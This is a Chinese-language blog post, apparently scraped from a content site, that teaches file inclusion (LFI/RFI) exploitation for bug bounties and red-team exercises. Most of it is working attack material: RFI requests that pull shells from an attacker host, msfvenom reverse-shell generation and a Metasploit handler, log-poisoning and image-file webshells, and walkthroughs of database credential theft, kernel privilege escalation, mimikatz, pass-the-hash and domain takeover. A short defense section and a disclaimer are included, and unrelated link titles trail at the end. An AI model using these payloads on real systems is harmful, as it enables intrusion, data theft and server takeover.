当前位置: 首页 > news >正文

文件包含漏洞全解析:从原理到实战

文件包含漏洞全解析:从原理到红队实战(含 SRC 挖掘、工具链与护网落地指南)

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
  4. 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

一、文件包含漏洞核心原理:“动态加载的失控风险”

文件包含漏洞是指服务器端脚本语言(如 PHP、JSP、ASP)在使用动态路径引用文件时,因对用户可控参数过滤不严格,导致攻击者可指定任意文件(本地或远程)被服务器加载并执行的漏洞。其本质是 “信任边界的滥用”—— 服务器错误地信任了用户输入的文件路径,将恶意文件当作合法资源解析执行,最终导致代码执行、敏感信息泄露或服务器受控。

1. 漏洞分类与触发条件

按包含文件的来源,文件包含漏洞可分为两类,核心触发条件均为 “路径可控 + 无有效过滤”:

(1)本地文件包含(LFI,Local File Inclusion)
  • 定义:攻击者通过控制参数,让服务器包含本地文件(服务器自身存储的文件,如/etc/passwdC:\Windows\system32\drivers\etc\hosts);

  • 典型场景:PHP 的include() require()、JSP 的<%@ include file="xxx" %>、ASP 的``等函数 / 指令使用用户可控参数作为路径;

  • 触发示例:

    目标代码:

    <?php include($_GET['file']); ?>
    

    file参数可控)

    攻击请求:http://target.com/index.php?file=/etc/passwd→服务器包含并输出/etc/passwd内容。

(2)远程文件包含(RFI,Remote File Inclusion)
  • 定义:攻击者通过控制参数,让服务器包含远程文件(攻击者控制的外部服务器上的文件,如http://evil.com/shell.php);

  • 触发前提:服务器配置允许包含远程文件(如 PHP 的allow_url_include=On);

  • 触发示例:

    目标代码:

    <?php include($_GET['page']); ?>
    

    page参数可控,且allow_url_include=On

    攻击请求:http://target.com/index.php?page=http://evil.com/shell.php→服务器加载远shell.php并执行其代码(如phpinfo())。

2. 与其他漏洞的关联(攻击链价值)

文件包含漏洞常作为 “代码执行的跳板”,与其他漏洞结合形成致命攻击链:

  • 文件包含 + 文件上传:通过文件上传漏洞上传 “图片马”(如shell.jpg,含 PHP 代码),再通过文件包含漏洞加载该图片(?file=upload/shell.jpg),执行恶意代码;
  • 文件包含 + SSRF:利用 SSRF 漏洞让服务器请求内网恶意文件(如gopher://127.0.0.1:8080/shell.txt),再通过文件包含执行;
  • 文件包含 + 日志注入:向服务器日志(如 Apache 的access.log)写入 PHP 代码(通过 User-Agent 字段),再包含日志文件执行代码。

二、SRC 中快速挖掘文件包含漏洞:实战流程与验证技巧

SRC 中文件包含漏洞的挖掘核心是 “定位动态包含点→验证路径可控性→证明文件可被包含执行”,需按以下步骤高效落地:

1. 第一步:定位潜在包含点(优先测试场景)

文件包含功能通常用于动态加载页面片段(如模板、模块、配置),按风险优先级排序,优先测试以下场景:

功能类型典型场景关键参数特征
模板加载网站主题切换、页面模板引用filetemplatetpl
模块加载后台功能模块(如用户管理、订单管理)加载modulepagem
配置引用加载配置文件(如数据库配置、权限配置)configincinclude
动态内容加载文章内容、评论、帮助文档动态加载contentdocload

定位方法

  • 遍历网站 URL,筛选含上述参数的请求(如http://target.com/index.php?file=home);
  • 用 Burp Suite 拦截所有 GET/POST 请求,搜索参数值包含路径特征(如../.php/)的请求;
  • 对 SRC 资产用 Google Hacking 筛选:site:target.com inurl:file= | inurl:page= | inurl:include=

2. 第二步:验证路径可控性(核心测试)

找到潜在包含点后,需通过 “多维度路径测试” 验证参数是否真的可控,以及服务器是否过滤严格:

(1)本地文件包含(LFI)验证

核心逻辑:尝试包含服务器已知的敏感文件,观察响应是否返回文件内容(证明路径可控)。

测试目标文件测试参数值验证依据(证明存在 LFI)
Linux 系统敏感文件?file=/etc/passwd?file=/proc/self/environ响应中包含root:x:0:0:root:/root/etc/passwd内容)
Windows 系统敏感文件?file=C:/Windows/win.ini?file=C:/Windows/system32/drivers/etc/hosts响应中包含[fonts]win.ini内容)或 hosts 文件内容
网站配置文件?file=../config/db.php(路径穿越)响应中包含数据库账号密码(如$dbpass=123456
不存在的文件?file=../nonexistent.txt响应中显示 “文件不存在” 错误(如 PHP 的Warning: include(../nonexistent.txt): failed to open stream),证明服务器尝试加载指定文件
(2)远程文件包含(RFI)验证

核心逻辑:让服务器包含攻击者 VPS 上的测试文件,观察是否执行(需服务器允许远程包含)。

测试步骤操作细节验证依据(证明存在 RFI)
1. 准备远程测试文件在 VPS 上创建test.txt,内容:<?php phpinfo(); ?>-
2. 发送包含请求?page=http://VPS_IP/test.txt响应中显示phpinfo()信息(证明远程文件被执行)
3. 验证配置依赖性若请求失败,尝试判断是否因allow_url_include=Off响应中显示 “禁止远程包含” 相关错误(如Warning: include(): http:// wrapper is disabled in the server configuration
(3)绕过过滤的测试(关键技巧)

若直接包含敏感文件被拦截(如服务器过滤/etc/passwdhttp://),需测试绕过方法:

过滤类型绕过方法测试示例
关键字过滤(如/etc路径拼接 / 编码?file=....//....//etc/passwd(路径穿越拼接)、?file=%2fetc%2fpasswd(URL 编码)
协议过滤(如http://协议变种 / 短网址?page=HTTp://VPS_IP/test.txt(大小写混淆)、?page=https://tinyurl.com/evil(短网址跳转)
后缀限制(如仅允许.php空字节截断(仅 PHP < 5.3.4 有效)?file=../config.db%00.php%00截断,实际包含../config.db
目录限制(如仅允许./templates/绝对路径覆盖?file=/etc/passwd(用绝对路径绕过相对路径限制)

3. 第三步:证明漏洞危害

仅能包含普通文件不构成高危漏洞,需证明 “可获取敏感信息或执行代码”:

  • 信息泄露:提交包含/etc/passwd或网站配置文件的响应截图(需显示敏感内容,如数据库密码);
  • 代码执行:通过文件包含执行phpinfo()system('whoami')的截图(证明可执行系统命令);
  • 攻击链证明:若需结合文件上传,提交 “上传图片马→包含图片马执行代码” 的完整流程截图。

三、文件包含漏洞利用工具链:从验证到控制

红队利用文件包含漏洞的工具需覆盖 “漏洞验证→代码执行→权限提升” 全流程,以下为核心工具及实战用法:

1. 漏洞验证与信息收集工具

(1)Burp Suite(核心拦截与修改工具)

功能:拦截包含请求,修改参数值测试路径可控性,批量验证绕过方法。

实战步骤

  1. 拦截含file参数的请求(如GET /index.php?file=home HTTP/1.1);
  2. 在 “Repeater” 模块修改file值,测试:
    • 本地文件:/etc/passwd../config.php
    • 远程文件:http://VPS_IP/test.txt
    • 绕过过滤:%2fetc%2fpasswd(URL 编码)、HTTp://VPS_IP/test.txt(大小写混淆);
  3. 观察响应,若返回目标文件内容或执行结果→漏洞验证成功。
(2)WFuzz(批量参数与路径测试工具)

功能:批量测试参数是否存在文件包含漏洞,枚举可包含的敏感文件路径。

实战命令

# 安装WFuzz
sudo apt install wfuzz# 测试file参数是否存在LFI(-z指定字典,-w指定路径字典)
wfuzz -u "http://target.com/index.php?file=FUZZ" -z file,/usr/share/wfuzz/wordlists/general/common.txt# 枚举Linux敏感文件(使用自定义路径字典lfi-linux.txt)
wfuzz -u "http://target.com/index.php?file=FUZZ" -w lfi-linux.txt --hl 0  # --hl 0过滤无内容的响应

字典示例(lfi-linux.txt)

/etc/passwd
/proc/self/environ
../etc/passwd
../../etc/passwd
/var/www/html/config.php

2. 代码执行工具

(1)php_filter_chain_generator(绕过文件内容过滤)

功能:生成经过php://filter编码的 Payload,用于在文件包含时读取或执行被过滤的文件内容(如 Base64 编码绕过 WAF)。

实战命令

# 安装工具
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator# 生成读取/etc/passwd的Payload(Base64编码)
python3 php_filter_chain_generator.py --chain "convert.base64-encode|resource=/etc/passwd"

输出 Payload

php://filter/convert.base64-encode/resource=/etc/passwd

使用方法

将 Payload 作为file参数值:http://target.com/index.php?file=php://filter/convert.base64-encode/resource=/etc/passwd,响应中会返回/etc/passwd的 Base64 编码内容,解码后即可查看。

(2)Msfvenom(生成远程恶意脚本)

功能:生成含反向 shell 的 PHP 脚本,通过 RFI 让服务器包含并执行,获取 Meterpreter 会话。

实战命令

# 生成Linux反向shell PHP脚本(LHOST为攻击者VPS,LPORT为监听端口)
msfvenom -p php/meterpreter/reverse_tcp LHOST=VPS_IP LPORT=4444 -f raw -o shell.php# 将shell.php部署到VPS的Web根目录(如/var/www/html/)

后续操作

  1. 在 MSF 中启动监听:

    msfconsole
    use exploit/multi/handler
    set PAYLOAD php/meterpreter/reverse_tcp
    set LHOST VPS_IP
    set LPORT 4444
    run
    
  2. 发送 RFI 请求:http://target.com/index.php?file=http://VPS_IP/shell.php,服务器包含并执行脚本,MSF 获取会话。

(3)日志注入工具(结合 LFI 执行代码)

功能:向服务器日志写入 PHP 代码,再通过 LFI 包含日志文件执行(适用于无法直接包含恶意文件的场景)。

实战步骤(利用 Apache access.log)

  1. 用 Burp 修改请求的 User-Agent 字段,插入 PHP 代码:

    GET / HTTP/1.1
    Host: target.com
    User-Agent: <?php system($_GET['cmd']);?>  # 向日志写入执行命令的代码
    
  2. 确认日志路径(通常为/var/log/apache2/access.log或通过/etc/passwd推测);

  3. 包含日志文件并执行命令:

    http://target.com/index.php?file=/var/log/apache2/access.log&cmd=whoami
    

    响应中返回服务器用户名(如www-data)→代码执行成功。

3. 权限提升工具

(1)LinPEAS/WinPEAS(本地提权信息收集)

功能:通过文件包含漏洞上传提权信息收集脚本,扫描服务器潜在的提权漏洞(如内核漏洞、SUID 文件)。

实战步骤

  1. 在 VPS 上放置linpeas.sh(Linux)或winpeas.bat(Windows);

  2. 通过 RFI 包含并执行:

    http://target.com/index.php?file=http://VPS_IP/linpeas.sh
    

    (需服务器允许包含非 PHP 文件并执行,或通过php://filter处理);

  3. 响应中会显示服务器的提权漏洞信息(如CVE-2021-4034漏洞存在)。

(2)Metasploit 提权模块(获取系统权限)

功能:在获取 Meterpreter 会话后,利用内置模块提权至 root/Administrator。

实战命令

# 在Meterpreter会话中执行
run post/multi/recon/local_exploit_suggester  # 推荐可用的提权模块
use exploit/linux/local/cve_2021_4034_pwnkit  # 选择对应漏洞模块(如PwnKit)
set SESSION 1  # 设置当前会话ID
run  # 执行提权,成功后获取root权限

四、实战与护网中文件包含漏洞的深度利用

文件包含漏洞是红队 “低成本获取代码执行权限” 的核心手段,在实战中需结合 “漏洞特性→场景适配→攻击链扩展” 实现深度渗透,以下为典型案例:

案例 1:SRC 中利用 LFI 读取配置文件,获取数据库权限

环境背景
  • 目标资产:http://test-src.com(某 CMS 系统);
  • 包含点:http://test-src.com/index.php?file=homefile参数可控,用于加载模板);
  • 初始验证:修改file=../etc/passwd,响应返回root:x:0:0:root:/root→确认存在 LFI。
渗透步骤
  1. 读取网站配置文件

    推测 CMS 配置文件路径为../config/database.php,发送请求:

    http://test-src.com/index.php?file=../config/database.php

    响应中包含数据库配置:$dbhost='localhost'; $dbuser='cmsadmin'; $dbpass='Cms@2024!';→获取账号密码。

  2. 验证数据库访问权限

    通过 LFI 包含/proc/self/environ(进程环境变量),获取 Web 服务器用户为www-data,确认其可访问本地 MySQL。

  3. 远程连接数据库

    使用 Navicat 连接目标服务器的 MySQL(localhost:3306),输入获取的账号密码,成功登录;

    读取cms_users表,获取管理员账号admin的密码哈希($2a$10$...),通过哈希破解工具(如 Hashcat)得到明文Admin@123

  4. 登录后台与漏洞证明

    admin/Admin@123登录 CMS 后台(http://test-src.com/admin),截图后台管理界面;

    提交 “SRC 漏洞报告”,包含 “LFI 读取配置文件截图”“数据库连接成功截图”“后台登录截图”,标注 “高危,可获取管理员权限”,获 12 分。

案例 2:护网中利用文件包含 + 文件上传突破内网核心区

环境背景
  • 护网目标:某企业内网(DMZ 区→办公区→核心区);
  • 突破点:DMZ 区 Web 服务器(172.16.1.10)存在 LFI(http://172.16.1.10/index.php?file=home),且存在文件上传漏洞(允许上传.jpg图片);
  • 内网拓扑:DMZ 区可访问办公区(192.168.1.0/24),办公区可访问核心区数据库(10.0.0.5)。
渗透步骤
  1. 制作图片马并上传

    生成含 PHP 代码的图片马shell.jpg

    echo -e "GIF89a\r\n<?php system(\$_GET['cmd']);?>" > shell.jpg
    

    通过文件上传功能上传至http://172.16.1.10/upload/shell.jpg,响应返回路径:/upload/shell.jpg

  2. LFI 包含图片马执行代码

    发送包含请求:

    http://172.16.1.10/index.php?file=../upload/shell.jpg&cmd=whoami

    响应返回apache→获取 Web 权限,确认代码可执行。

  3. 内网探测与横向

    通过cmd参数执行内网扫描:

    # 探测办公区存活主机
    cmd=ping -c 1 192.168.1.20  
    # 探测核心区数据库端口
    cmd=nc -zv 10.0.0.5 3306  
    

    结果:192.168.1.20存活,10.0.0.5:3306开放。

  4. 获取数据库权限

    执行cmd=cat /var/www/html/config/db.php,获取核心区 MySQL 账号密码(dbadmin:DbCore@2024);

    通过 Webshell 执行 MySQL 命令:

    cmd=mysql -h 10.0.0.5 -u dbadmin -p'DbCore@2024' -e "show databases;"→成功访问核心区数据库。

  5. 提权与控制 DMZ 区

    执行cmd=uname -a,发现服务器内核版本为3.10.0-327.el7.x86_64(存在CVE-2016-5195脏牛漏洞);

    上传脏牛提权 EXP,执行后获取 root 权限,进而控制整个 DMZ 区,为攻击办公区和核心区奠定基础。

护网中文件包含漏洞的核心利用技巧

(1)内网穿透与横向移动
  • 利用 LFI 建立 socks 代理:通过包含php-reverse-shell.php(上传至内网可控主机),在 MSF 中开启 socks 代理,访问内网其他网段:

    # 在MSF会话中配置socks代理
    use auxiliary/server/socks_proxy
    set SRVHOST 0.0.0.0
    set SRVPORT 1080
    run
    

    然后通过代理访问192.168.1.20等内网主机。

  • 结合内网服务漏洞:通过 LFI 执行nmap扫描内网(需服务器安装 nmap),发现192.168.1.20:445开放,利用ms17-010漏洞攻击获取办公区主机权限。

(2)绕过内网 WAF 与防御机制
  • 编码混淆:对包含路径进行多层编码(如 URL 编码 + Base64),绕过 WAF 的特征检测:

    ?file=php://filter/convert.base64-encode/resource=../upload/shell.jpg→Base64 编码路径避免../被拦截;

  • 分段传输:将恶意代码分块写入多个文件(如part1.txtpart2.txt),通过 LFI 依次包含拼接执行:

    ?file=part1.txt&file=part2.txt
    

    (若服务器支持多参数包含);

  • 利用系统命令执行:通过proc/self/fd(进程文件描述符)包含临时文件,避免直接引用恶意文件路径:

    ?file=/proc/self/fd/10
    

    (需枚举文件描述符,找到包含恶意代码的临时文件)。

(3)攻击链扩展:从 Web 权限到域控
  • Web 权限→系统权限:通过 LFI 包含提权 EXP(如CVE-2021-4034),获取服务器本地管理员权限;
  • 系统权限→内网信息收集:利用mimikatz抓取内存中的明文密码和 NTLM 哈希,获取域内用户凭证;
  • 哈希传递(PTH)→横向移动:使用impacket工具通过 PTH 登录域内其他主机(如192.168.1.30,域成员主机);
  • 域内渗透→域控:通过域内信息收集发现域控(10.0.0.1),利用MS14-068等漏洞获取域控权限。

五、文件包含漏洞的防御与红队绕过技巧

1. 蓝队核心防御措施

  • 严格限制文件路径
    • 采用白名单机制:仅允许包含预设目录下的文件(如./templates/),拒绝任何用户输入的绝对路径或../
    • 固定文件扩展名:如强制拼接.phpinclude($_GET['file'] . '.php')),避免包含非预期文件类型。
  • 禁用危险配置
    • 关闭远程文件包含功能(如 PHP 的allow_url_include=Off);
    • 限制php://filter等协议的使用(通过open_basedir限制文件访问范围)。
  • 输入过滤与净化
    • 过滤特殊字符:如..//\http://php://等;
    • 规范化路径:使用realpath()(PHP)等函数将用户输入的路径转换为绝对路径,验证是否在允许的目录内。
  • 日志与监控
    • 监控包含参数的异常请求(如包含/etc/passwd、远程 URL);
    • 限制包含文件的执行权限(如上传目录设置为不可执行)。

2. 红队绕过技巧

  • 绕过白名单限制
    • 路径穿越拼接:?file=./templates/../../etc/passwd(若白名单仅验证前缀为./templates/);
    • 利用符号链接:在允许的目录下创建指向敏感文件的符号链接(如ln -s /etc/passwd ./templates/link),再包含?file=link
  • 绕过路径过滤
    • 编码绕过:../%2e%2e%2f(URL 编码)、..%c0%af(UTF-8 编码截断,仅旧版本有效);
    • 协议混淆:php://filter/convert.base64-encode/resource=../etc/passwd(用php://filter协议绕过../过滤)。
  • 绕过远程包含限制
    • 利用本地文件转发:若allow_url_include=Off,但服务器可访问内网文件共享(如 SMB),包含\\192.168.1.100\share\shell.php(需内网有可控的 SMB 服务器);
    • 日志文件中转:向本地日志写入远程文件内容,再包含日志文件(如通过 User-Agent 写入``,再包含日志)。

六、总结

文件包含漏洞的本质是 “动态文件加载时的路径失控”,其在红队渗透中的核心价值是 “低成本实现代码执行或信息泄露”—— 从 SRC 中的配置文件读取到护网中的内网突破,均是红队的关键攻击手段。

挖掘与利用的关键思维是 “场景适配”:

  1. 识别层:聚焦file page等参数,通过敏感文件测试快速定位包含点;
  2. 验证层:区分 LFI/RFI,结合绕过技巧(编码、路径拼接)突破过滤;
  3. 利用层:根据场景选择 “信息泄露→代码执行→提权” 的递进路径,优先结合文件上传、日志注入等形成攻击链;
  4. 内网层:以文件包含为跳板,通过代理与横向移动工具渗透内网核心区。

注意:所有测试需在合法授权下进行,未经授权的文件包含与恶意代码执行涉嫌 “非法控制计算机信息系统”,需自行承担法律责任。

http://www.dtcms.com/a/502794.html

相关文章:

  • 【深度学习新浪潮】天数天算、地数天算与天地同算:概念解析与SOTA解决方案
  • 《C++ Web 自动化测试实战:常用函数全解析与场景化应用指南》
  • 在线做数据图的网站网站建设 鸿
  • K8s HTTPS流量管理实战:GatewayAPI指南
  • stable-diffusion-webui 安装环境
  • 【Linux】基础IO(二)深入理解“一切皆文件” 与缓冲区机制:从原理到简易 libc 实现
  • 键值存储分解技术在物联网场景中的优化
  • 企业电子商务网站建设的重要性2021最新域名id地址
  • 【C++】二叉搜索树(图码详解)
  • MySQL:14.mysql connect
  • 建设工程消防信息网站网站开发全程实例课本代码
  • 用excel绘制茎叶图
  • 龙岗优化网站建设门户网站建设需要多少
  • 东莞seo网站制作报价网站有域名没备案
  • 网站开发框架图自建wordpress主题
  • 网站公司模板多少工资
  • 江西建设厅网站dede手机网站模板哦
  • 网站运维平台建设原则西乡网站的建设
  • 帮网站网站做推广被抓会判刑吗凡科做的网站百度不到
  • 一台服务器怎么做多给网站wordpress用户投稿
  • 提供免费主页空间的网站中石油第七建设公司网站
  • 顺德网站建设基本流程高柏企业管理咨询有限公司
  • 深圳公司建立网站网络建设专业石家庄
  • 基于jsp的电商网站开发wordpress模板带小程序源码
  • 大秦建设集团有限责任公司官方网站开发一个游戏软件多少钱
  • 大学网站栏目建设都哪些网站可以做gif
  • 做企业网站那家好湖北雨水最新消息
  • 湖南seo网站多少钱微信软文范例大全100
  • 怎么做监控网站idc机房运维
  • 网站国际推广专业网站建设提供商